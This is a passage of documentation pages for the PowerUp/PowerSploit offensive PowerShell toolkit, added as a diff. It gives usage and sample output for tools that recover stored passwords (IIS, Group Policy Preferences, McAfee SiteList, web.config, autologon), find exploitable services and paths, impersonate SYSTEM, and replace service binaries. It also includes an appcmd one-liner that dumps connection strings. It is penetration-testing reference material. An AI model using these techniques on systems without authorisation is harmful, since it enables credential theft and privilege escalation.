### PowerUp.HijackableDLL.Process
## NOTES
## RELATED LINKS
[https://www.mandiant.com/blog/malware-persistence-windows-registry/](https://www.mandiant.com/blog/malware-persistence-windows-registry/)
+95
View File
@@ -0,0 +1,95 @@
# Get-ApplicationHost
## SYNOPSIS
Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system.
Author: Scott Sutherland
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-ApplicationHost
```
## DESCRIPTION
This script will decrypt and recover application pool and virtual directory passwords
from the applicationHost.config file on the system.
The output supports the
pipeline which can be used to convert all of the results into a pretty table by piping
to format-table.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Return application pool and virtual directory passwords from the applicationHost.config on the system.
```
Get-ApplicationHost
user : PoolUser1
pass : PoolParty1!
type : Application Pool
vdir : NA
apppool : ApplicationPool1
user : PoolUser2
pass : PoolParty2!
type : Application Pool
vdir : NA
apppool : ApplicationPool2
user : VdirUser1
pass : VdirPassword1!
type : Virtual Directory
vdir : site1/vdir1/
apppool : NA
user : VdirUser2
pass : VdirPassword2!
type : Virtual Directory
vdir : site2/
apppool : NA
### -------------------------- EXAMPLE 2 --------------------------
```
Return a list of cleartext and decrypted connect strings from web.config files.
```
Get-ApplicationHost | Format-Table -Autosize
user pass type vdir apppool
---- ---- ---- ---- -------
PoolUser1 PoolParty1!
Application Pool NA ApplicationPool1
PoolUser2 PoolParty2!
Application Pool NA ApplicationPool2
VdirUser1 VdirPassword1!
Virtual Directory site1/vdir1/ NA
VdirUser2 VdirPassword2!
Virtual Directory site2/ NA
## PARAMETERS
## INPUTS
## OUTPUTS
### System.Data.DataTable
System.Boolean
## NOTES
Author: Scott Sutherland - 2014, NetSPI
Version: Get-ApplicationHost v1.0
Comments: Should work on IIS 6 and Above
## RELATED LINKS
[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx)
+55
View File
@@ -0,0 +1,55 @@
# Get-CachedGPPPassword
## SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and
left in cached files on the host.
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-CachedGPPPassword
```
## DESCRIPTION
Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and
datasources.xml files and returns plaintext passwords.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-CachedGPPPassword
```
NewName : \[BLANK\]
Changed : {2013-04-25 18:36:07}
Passwords : {Super!!!Password}
UserNames : {SuperSecretBackdoor}
File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
oups.xml
## PARAMETERS
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html](http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html)
+102
View File
@@ -0,0 +1,102 @@
# Get-ModifiablePath
## SYNOPSIS
Parses a passed string containing multiple possible file/folder paths and returns
the file paths where the current user has modification rights.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-ModifiablePath [-Path] <String[]> [-Literal]
```
## DESCRIPTION
Takes a complex path specification of an initial file/folder path with possible
configuration files, 'tokenizes' the string in a number of possible ways, and
enumerates the ACLs for each path that currently exists on the system.
Any path that
the current user has modification rights on is returned in a custom object that contains
the modifiable path, associated permission set, and the IdentityReference with the specified
rights.
The SID of the current user and any group he/she are a part of are used as the
comparison set against the parsed path DACLs.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
'"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
```
Path Permissions IdentityReference
---- ----------- -----------------
C:\Temp\blah.exe {ReadAttributes, ReadCo...
NT AUTHORITY\Authentic...
C:\Temp\config.ini {ReadAttributes, ReadCo...
NT AUTHORITY\Authentic...
### -------------------------- EXAMPLE 2 --------------------------
```
Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
```
Path Permissions IdentityReference
---- ----------- -----------------
C:\Vuln\blah.bat {ReadAttributes, ReadCo...
NT AUTHORITY\Authentic...
C:\Vuln\config.ini {ReadAttributes, ReadCo...
NT AUTHORITY\Authentic...
...
## PARAMETERS
### -Path
The string path to parse for modifiable files.
Required
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: FullName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Literal
Switch.
Treat all paths as literal (i.e.
don't do 'tokenization').
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: LiteralPaths
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.TokenPrivilege.ModifiablePath
Custom PSObject containing the Permissions, ModifiablePath, IdentityReference for
a modifiable path.
## NOTES
## RELATED LINKS
+44
View File
@@ -0,0 +1,44 @@
# Get-ModifiableRegistryAutoRun
## SYNOPSIS
Returns any elevated system autoruns in which the current user can
modify part of the path string.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath
## SYNTAX
```
Get-ModifiableRegistryAutoRun
```
## DESCRIPTION
Enumerates a number of autorun specifications in HKLM and filters any
autoruns through Get-ModifiablePath, returning any file/config locations
in the found path strings that the current user can modify.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ModifiableRegistryAutoRun
```
Return vulneable autorun binaries (or associated configs).
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.ModifiableRegistryAutoRun
Custom PSObject containing results.
## NOTES
## RELATED LINKS
+45
View File
@@ -0,0 +1,45 @@
# Get-ModifiableScheduledTaskFile
## SYNOPSIS
Returns scheduled tasks where the current user can modify any file
in the associated task action string.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath
## SYNTAX
```
Get-ModifiableScheduledTaskFile
```
## DESCRIPTION
Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks"
and parses the XML specification for each task, extracting the command triggers.
Each trigger string is filtered through Get-ModifiablePath, returning any file/config
locations in the found path strings that the current user can modify.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ModifiableScheduledTaskFile
```
Return scheduled tasks with modifiable command strings.
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.ModifiableScheduledTaskFile
Custom PSObject containing results.
## NOTES
## RELATED LINKS
+40
View File
@@ -0,0 +1,40 @@
# Get-ModifiableService
## SYNOPSIS
Enumerates all services and returns services for which the current user can modify the binPath.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail
## SYNTAX
```
Get-ModifiableService
```
## DESCRIPTION
Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
the current user has rights to change the service configuration.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ModifiableService
```
Get a set of potentially exploitable services.
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.ModifiablePath
## NOTES
## RELATED LINKS
+45
View File
@@ -0,0 +1,45 @@
# Get-ModifiableServiceFile
## SYNOPSIS
Enumerates all services and returns vulnerable service files.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath
## SYNTAX
```
Get-ModifiableServiceFile
```
## DESCRIPTION
Enumerates all services by querying the WMI win32_service class.
For each service,
it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
if the current user has rights to modify the service binary itself or any associated
arguments.
If the associated binary (or any configuration files) can be overwritten,
privileges may be able to be escalated.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ModifiableServiceFile
```
Get a set of potentially exploitable service binares/config files.
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.ModifiablePath
## NOTES
## RELATED LINKS
+114
View File
@@ -0,0 +1,114 @@
# Get-ProcessTokenGroup
## SYNOPSIS
Returns all SIDs that the current token context is a part of, whether they are disabled or not.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Get-TokenInformation
## SYNTAX
```
Get-ProcessTokenGroup [[-Id] <UInt32>]
```
## DESCRIPTION
First, if a process ID is passed, then the process is opened using OpenProcess(),
otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process.
OpenProcessToken() is then used to get a handle to the specified process token.
The token
is then passed to Get-TokenInformation to query the current token groups for the specified
token.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ProcessTokenGroup
```
SID Attributes ProcessId
--- ---------- ---------
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 1372
S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 1372
S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 1372
S-1-16-8192 1372
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Process notepad | Get-ProcessTokenGroup
```
SID Attributes ProcessId
--- ---------- ---------
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 2640
S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 2640
S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-5-21-890171859-3433809...
..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 2640
S-1-16-8192 2640
## PARAMETERS
### -Id
The process ID to enumerate token groups for, otherwise defaults to the current process.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases: ProcessID
Required: False
Position: 1
Default value: 0
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.TokenGroup
Outputs a custom object containing the token group (SID/attributes) for the specified token if
"-InformationClass 'Groups'" is passed.
PowerUp.TokenPrivilege
Outputs a custom object containing the token privilege (name/attributes) for the specified token if
"-InformationClass 'Privileges'" is passed
## NOTES
## RELATED LINKS
+131
View File
@@ -0,0 +1,131 @@
# Get-ProcessTokenPrivilege
## SYNOPSIS
Returns all privileges for the current (or specified) process ID.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Get-TokenInformation
## SYNTAX
```
Get-ProcessTokenPrivilege [[-Id] <UInt32>] [-Special]
```
## DESCRIPTION
First, if a process ID is passed, then the process is opened using OpenProcess(),
otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process.
OpenProcessToken() is then used to get a handle to the specified process token.
The token
is then passed to Get-TokenInformation to query the current privileges for the specified
token.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ProcessTokenPrivilege
```
Privilege Attributes ProcessId
--------- ---------- ---------
SeShutdownPrivilege DISABLED 2600
SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2600
SeUndockPrivilege DISABLED 2600
SeIncreaseWorkingSetPrivilege DISABLED 2600
SeTimeZonePrivilege DISABLED 2600
### -------------------------- EXAMPLE 2 --------------------------
```
Get-ProcessTokenPrivilege -Special
```
Privilege Attributes ProcessId
--------- ---------- ---------
SeSecurityPrivilege DISABLED 2444
SeTakeOwnershipPrivilege DISABLED 2444
SeBackupPrivilege DISABLED 2444
SeRestorePrivilege DISABLED 2444
SeSystemEnvironmentPriv...
DISABLED 2444
SeImpersonatePrivilege ...T, SE_PRIVILEGE_ENABLED 2444
### -------------------------- EXAMPLE 3 --------------------------
```
Get-Process notepad | Get-ProcessTokenPrivilege | fl
```
Privilege : SeShutdownPrivilege
Attributes : DISABLED
ProcessId : 2640
Privilege : SeChangeNotifyPrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
ProcessId : 2640
Privilege : SeUndockPrivilege
Attributes : DISABLED
ProcessId : 2640
Privilege : SeIncreaseWorkingSetPrivilege
Attributes : DISABLED
ProcessId : 2640
Privilege : SeTimeZonePrivilege
Attributes : DISABLED
ProcessId : 2640
## PARAMETERS
### -Id
The process ID to enumerate token groups for, otherwise defaults to the current process.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases: ProcessID
Required: False
Position: 1
Default value: 0
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Special
Switch.
Only return 'special' privileges, meaning admin-level privileges.
These include SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege,
SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeTcbPrivilege.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: Privileged
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.TokenGroup
Outputs a custom object containing the token group (SID/attributes) for the specified token if
"-InformationClass 'Groups'" is passed.
PowerUp.TokenPrivilege
Outputs a custom object containing the token privilege (name/attributes) for the specified token if
"-InformationClass 'Privileges'" is passed
## NOTES
## RELATED LINKS
+45
View File
@@ -0,0 +1,45 @@
# Get-RegistryAlwaysInstallElevated
## SYNOPSIS
Checks if any of the AlwaysInstallElevated registry keys are set.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-RegistryAlwaysInstallElevated
```
## DESCRIPTION
Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys
are set, $False otherwise.
If one of these keys are set, then all .MSI files run with
elevated permissions, regardless of current user permissions.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-RegistryAlwaysInstallElevated
```
Returns $True if any of the AlwaysInstallElevated registry keys are set.
## PARAMETERS
## INPUTS
## OUTPUTS
### System.Boolean
$True if RegistryAlwaysInstallElevated is set, $False otherwise.
## NOTES
## RELATED LINKS
+44
View File
@@ -0,0 +1,44 @@
# Get-RegistryAutoLogon
## SYNOPSIS
Finds any autologon credentials left in the registry.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-RegistryAutoLogon
```
## DESCRIPTION
Checks if any autologon accounts/credentials are set in a number of registry locations.
If they are, the credentials are extracted and returned as a custom PSObject.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-RegistryAutoLogon
```
Finds any autologon credentials left in the registry.
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.RegistryAutoLogon
Custom PSObject containing autologin credentials found in the registry.
## NOTES
## RELATED LINKS
[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb)
+65
View File
@@ -0,0 +1,65 @@
# Get-ServiceDetail
## SYNOPSIS
Returns detailed information about a specified service by querying the
WMI win32_service class for the specified service name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-ServiceDetail [-Name] <String[]>
```
## DESCRIPTION
Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
the pipeline object returned by Get-Service, extracts out the service name, queries the
WMI win32_service class for the specified service for details like binPath, and outputs
everything.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ServiceDetail -Name VulnSVC
```
Gets detailed information about the 'VulnSVC' service.
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service VulnSVC | Get-ServiceDetail
```
Gets detailed information about the 'VulnSVC' service.
## PARAMETERS
### -Name
An array of one or more service names to query information for.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### System.Management.ManagementObject
## NOTES
## RELATED LINKS
+96
View File
@@ -0,0 +1,96 @@
# Get-SiteListPassword
## SYNOPSIS
Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
Based on Jerome Nokin (@funoverip)'s Python solution (in links).
Author: Jerome Nokin (@funoverip)
PowerShell Port: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-SiteListPassword [[-Path] <String[]>]
```
## DESCRIPTION
Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\,
C:\Documents and Settings\, or C:\Users\.
For any files found, the appropriate
credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword
function that takes advantage of McAfee's static key encryption.
Any decrypted credentials
are output in custom objects.
See links for more information.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-SiteListPassword
```
EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
UserName :
Path : Products/CommonUpdater
Name : McAfeeHttp
DecPassword : MyStrongPassword!
Enabled : 1
DomainName :
Server : update.nai.com:80
EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
UserName : McAfeeService
Path : Repository$
Name : Paris
DecPassword : MyStrongPassword!
Enabled : 1
DomainName : companydomain
Server : paris001
EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
UserName : McAfeeService
Path : Repository$
Name : Tokyo
DecPassword : MyStrongPassword!
Enabled : 1
DomainName : companydomain
Server : tokyo000
## PARAMETERS
### -Path
Optional path to a SiteList.xml file or folder.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases:
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.SiteListPassword
## NOTES
## RELATED LINKS
[https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf](https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf)
+172
View File
@@ -0,0 +1,172 @@
# Get-System
## SYNOPSIS
GetSystem functionality inspired by Meterpreter's getsystem.
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
token duplication works correctly.
PowerSploit Function: Get-System
Author: @harmj0y, @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
### NamedPipe (Default)
```
Get-System [-Technique <String>] [-ServiceName <String>] [-PipeName <String>]
```
### Token
```
Get-System [-Technique <String>]
```
### RevToSelf
```
Get-System [-RevToSelf]
```
### WhoAmI
```
Get-System [-WhoAmI]
```
## DESCRIPTION
{{Fill in the Description}}
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-System
```
Uses named impersonate to elevate the current thread token to SYSTEM.
### -------------------------- EXAMPLE 2 --------------------------
```
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
```
Uses named impersonate to elevate the current thread token to SYSTEM
with a custom service and pipe name.
### -------------------------- EXAMPLE 3 --------------------------
```
Get-System -Technique Token
```
Uses token duplication to elevate the current thread token to SYSTEM.
### -------------------------- EXAMPLE 4 --------------------------
```
Get-System -WhoAmI
```
Displays the credentials for the current thread.
### -------------------------- EXAMPLE 5 --------------------------
```
Get-System -RevToSelf
```
Reverts the current thread privileges.
## PARAMETERS
### -Technique
The technique to use, 'NamedPipe' or 'Token'.
```yaml
Type: String
Parameter Sets: NamedPipe, Token
Aliases:
Required: False
Position: Named
Default value: NamedPipe
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServiceName
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
```yaml
Type: String
Parameter Sets: NamedPipe
Aliases:
Required: False
Position: Named
Default value: TestSVC
Accept pipeline input: False
Accept wildcard characters: False
```
### -PipeName
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
```yaml
Type: String
Parameter Sets: NamedPipe
Aliases:
Required: False
Position: Named
Default value: TestSVC
Accept pipeline input: False
Accept wildcard characters: False
```
### -RevToSelf
Reverts the current thread privileges.
```yaml
Type: SwitchParameter
Parameter Sets: RevToSelf
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -WhoAmI
Switch.
Display the credentials for the current PowerShell thread.
```yaml
Type: SwitchParameter
Parameter Sets: WhoAmI
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/](https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/)
+44
View File
@@ -0,0 +1,44 @@
# Get-UnattendedInstallFile
## SYNOPSIS
Checks several locations for remaining unattended installation files,
which may have deployment credentials.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-UnattendedInstallFile
```
## DESCRIPTION
{{Fill in the Description}}
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-UnattendedInstallFile
```
Finds any remaining unattended installation files.
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.UnattendedInstallFile
Custom PSObject containing results.
## NOTES
## RELATED LINKS
[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
+45
View File
@@ -0,0 +1,45 @@
# Get-UnquotedService
## SYNOPSIS
Get-UnquotedService Returns the name and binary path for services with unquoted paths
that also have a space in the name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission
## SYNTAX
```
Get-UnquotedService
```
## DESCRIPTION
Uses Get-WmiObject to query all win32_service objects and extract out
the binary pathname for each.
Then checks if any binary paths have a space
and aren't quoted.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-UnquotedService
```
Get a set of potentially exploitable services.
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.UnquotedService
## NOTES
## RELATED LINKS
[https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb)
+93
View File
@@ -0,0 +1,93 @@
# Get-WebConfig
## SYNOPSIS
This script will recover cleartext and encrypted connection strings from all web.config
files on the system.
Also, it will decrypt them if needed.
Author: Scott Sutherland, Antti Rantasaari
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Get-WebConfig
```
## DESCRIPTION
This script will identify all of the web.config files on the system and recover the
connection strings used to support authentication to backend databases.
If needed, the
script will also decrypt the connection strings on the fly.
The output supports the
pipeline which can be used to convert all of the results into a pretty table by piping
to format-table.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Return a list of cleartext and decrypted connect strings from web.config files.
```
Get-WebConfig
user : s1admin
pass : s1password
dbserv : 192.168.1.103\server1
vdir : C:\test2
path : C:\test2\web.config
encr : No
user : s1user
pass : s1password
dbserv : 192.168.1.103\server1
vdir : C:\inetpub\wwwroot
path : C:\inetpub\wwwroot\web.config
encr : Yes
### -------------------------- EXAMPLE 2 --------------------------
```
Return a list of clear text and decrypted connect strings from web.config files.
```
Get-WebConfig | Format-Table -Autosize
user pass dbserv vdir path encr
---- ---- ------ ---- ---- ----
s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No
s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No
s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No
s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes
s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No
## PARAMETERS
## INPUTS
## OUTPUTS
### System.Boolean
System.Data.DataTable
## NOTES
Below is an alterantive method for grabbing connection strings, but it doesn't support decryption.
for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings
Author: Scott Sutherland - 2014, NetSPI
Author: Antti Rantasaari - 2014, NetSPI
## RELATED LINKS
[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx)
+175
View File
@@ -0,0 +1,175 @@
# Install-ServiceBinary
## SYNOPSIS
Replaces the service binary for the specified service with one that executes
a specified command as SYSTEM.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary
## SYNTAX
```
Install-ServiceBinary [-Name] <String> [-UserName <String>] [-Password <String>] [-LocalGroup <String>]
[-Credential <PSCredential>] [-Command <String>]
```
## DESCRIPTION
Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the
current user can modify the associated service binary listed in the binPath.
Backs up
the original service binary to "OriginalService.exe.bak" in service binary location,
and then uses Write-ServiceBinary to create a C# service binary that either adds
a local administrator user or executes a custom command.
The new service binary is
replaced in the original service binary path, and a custom object is returned that
captures the original and new service binary configuration.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
